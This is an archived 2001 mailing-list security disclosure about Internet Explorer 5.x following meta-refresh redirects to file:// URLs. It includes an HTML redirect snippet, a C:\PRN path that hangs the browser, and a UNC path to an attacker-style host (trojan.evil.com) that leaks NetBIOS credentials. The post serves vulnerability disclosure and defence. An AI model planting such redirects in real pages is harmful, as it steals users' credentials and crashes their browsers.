At 09:09 AM 7/18/2001, alandat_private wrote: > I question the wisdom of browsers which allow external web pages to >reference local files via 'file://' URLs. I brought the following issue to Microsoft's attention in March. The Internet Explorer browser (I tested versions 5.0 and 5.5) can be made automatically to open any file:// URLs by including the following source code in the HTML page: <HTML> <HEAD> <TITLE>this may hang your browser</TITLE> <META HTTP-EQUIV="REFRESH" CONTENT="0;URL=file://whatever"> </HEAD> <BODY>This page has moved. Please update your links.</BODY> </HTML> This happens without regard to the security zone settings on the browser (IMHO, automatic redirects of ANY kind should not be allowed from untrusted-zone pages -- Microsoft seems to disagree with me). Why is this a big deal? Because, along the lines of these other "special file name" issues we've seen over the last week, you can cause Internet Explorer to open (or attempt to open) any special file name. Using the URL file://C:\PRN in the above page-code causes IE 5.x to permanently hang on Win2k. You have to kill it from the Task Manager (which brings down all running instances of IE, quite an annoyance). Any UNC path can be used. This includes all special device names (fun stuff like the \\$IPSEC device, maybe?), including special "remote share" style UNC paths, things like \\.\PhysicalDrive0, local and remote named pipes (!!), mailslots, etc. What's even MORE menacing to me is that UNC paths can include references to file shares on remote computers (on the local LAN *or* on the Internet) e.g.: file://\\trojan.evil.com\HACKME When Windows tries to open UNC paths like that, by default it sends the current user's credentials to that remote host via NetBIOS. So the end result is, any page on the internet can cause your browser to redirect to an arbitrary remote NetBIOS host, which causes your credentials to be sent to that host. The host can be a Trojan which simply cracks SMB credentials and pairs them with IP addresses. Again I stress that this seems to happen regardless of the security zone settings (you can set up which zones have remote login enabled, etc., and from my experiments this bypasses that setting). This would clearly be contrary to the user's expectations. When I brought this to Microsoft's attention, their response was as follows: (a) Can you demonstrate an exploit on a system that has outgoing NetBIOS ports blocked? (b) Causing a user-mode program to hang is not a serious security issue (in general, I tend to agree with this) Microsoft's attitude seems to be "We'll wait until someone writes an exploit before we attempt to fix the bug." Anyways, firewall administrators SHOULD be blocking outgoing NetBIOS ports if at all possible. And the hanging of a user-mode app, in the absence of buffer overflows or other stuff, is not (IMHO) that big of a deal. But given that 5 minutes of experimentation yielded this kind of hang, I wonder how long it will take for someone to come up with a real exploit. Related issues have been discussed before, e.g. http://archives.neohapsis.com/archives/win2ksecadvice/2000-q1/0201.html Chad Loder Principal Engineer Rapid 7, Inc. www.rapid7.com
This archive was generated by hypermail 2b30 : Thu Jul 19 2001 - 09:29:10 PDT